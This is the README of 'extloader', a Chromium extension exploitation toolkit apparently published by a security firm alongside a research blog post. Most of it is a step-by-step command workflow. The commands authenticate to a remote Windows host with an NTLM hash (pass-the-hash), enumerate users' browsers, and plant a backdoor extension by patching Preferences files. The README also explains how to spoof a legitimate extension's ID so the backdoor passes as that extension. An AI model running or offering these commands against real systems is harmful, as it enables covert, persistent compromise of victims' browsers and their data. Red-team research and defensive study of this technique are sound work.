synacktiv/extloaderA chromium extension exploitation toolkit
A small toolkit for managing and deploying unpacked Chromium extensions.
Find out more in the following blogpost: https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways
pipx install .
extloader --help
Use
pipxfor an isolated install targeting Python 3.10+.
uv venv
source .venv/bin/activate
uv pip install -e .
-p/--password-H/--hash (LM:NT format or just NT)-d/--domain (defaults to WORKGROUP)-t, --target: Target IP/hostname-u, --username: Username-i, --index: User index from check command--debug: Enable debug loggingHere's a step-by-step example of deploying an extension:
# This will list available users and browsers
extloader check -t 192.168.1.100 -u admin -H aad3b435b51404eeaad3b435b51404ee:ntlm_hash -d corp.local
┏━━━━━━━━┳━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Index ┃ Browser ┃ User (SID) ┃
┡━━━━━━━━╇━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ 1 │ Chrome │ john.doe (S-1-5-21-4196007090-2879228606-3183820935-1122) │
│ 2 │ Microsoft Edge │ john.doe (S-1-5-21-4196007090-2879228606-3183820935-1122) │
└────────┴─────────────────┴──────────────────────────────────────────────────────────────┘
When running exploit on a different machine, always run the
checkcommand before to refresh the context (available_targets.json).
# Create a deterministic crx_id by adding a key to the manifest.json
extloader sign --extension ./my-extension
To spoof an existing extension ID, skip the command above and set the manifest
keyto the base64 public key of the extension you are mimicking. Reusing that key keeps the CRX ID unchanged.
# Deploy to user index 1 (Chrome of john.doe)
extloader exploit -t 192.168.1.100 -u admin -H ntlm_hash -i 1 --extension ./my-extension
4.(Alternative) Package for manual deployment:
# Bundle the signed extension with the captured Preferences file
extloader package --prefs-file "Preferences" --extension-dir ./my-extension --target-dir "C:\\Users\\Public"
# This creates a ZIP containing:
# - Signed extension files
# - Updated preferences files
# - Deployment instructions
--prefs-fileexpects the browser profile preferences you backed up (Chrome/Edge store them asSecure Preferences, other Chromium browsers usePreferences). The loader copies it, patches it, and includes both the modified and untouched versions in the package.
├── extension/
│ └── chrome-mv3/
├── preferences/
│ ├── brave/
│ ├── chrome/
│ ├── chromium/
[...]
└── info.json
# Restore original preferences for user index 1 (need check command to get the correct context)
extloader restore -t 192.168.1.100 -u admin -H ntlm_hash -i 1 -f ./backup_preferences
package workflow for Linuxpackage worflow for macOS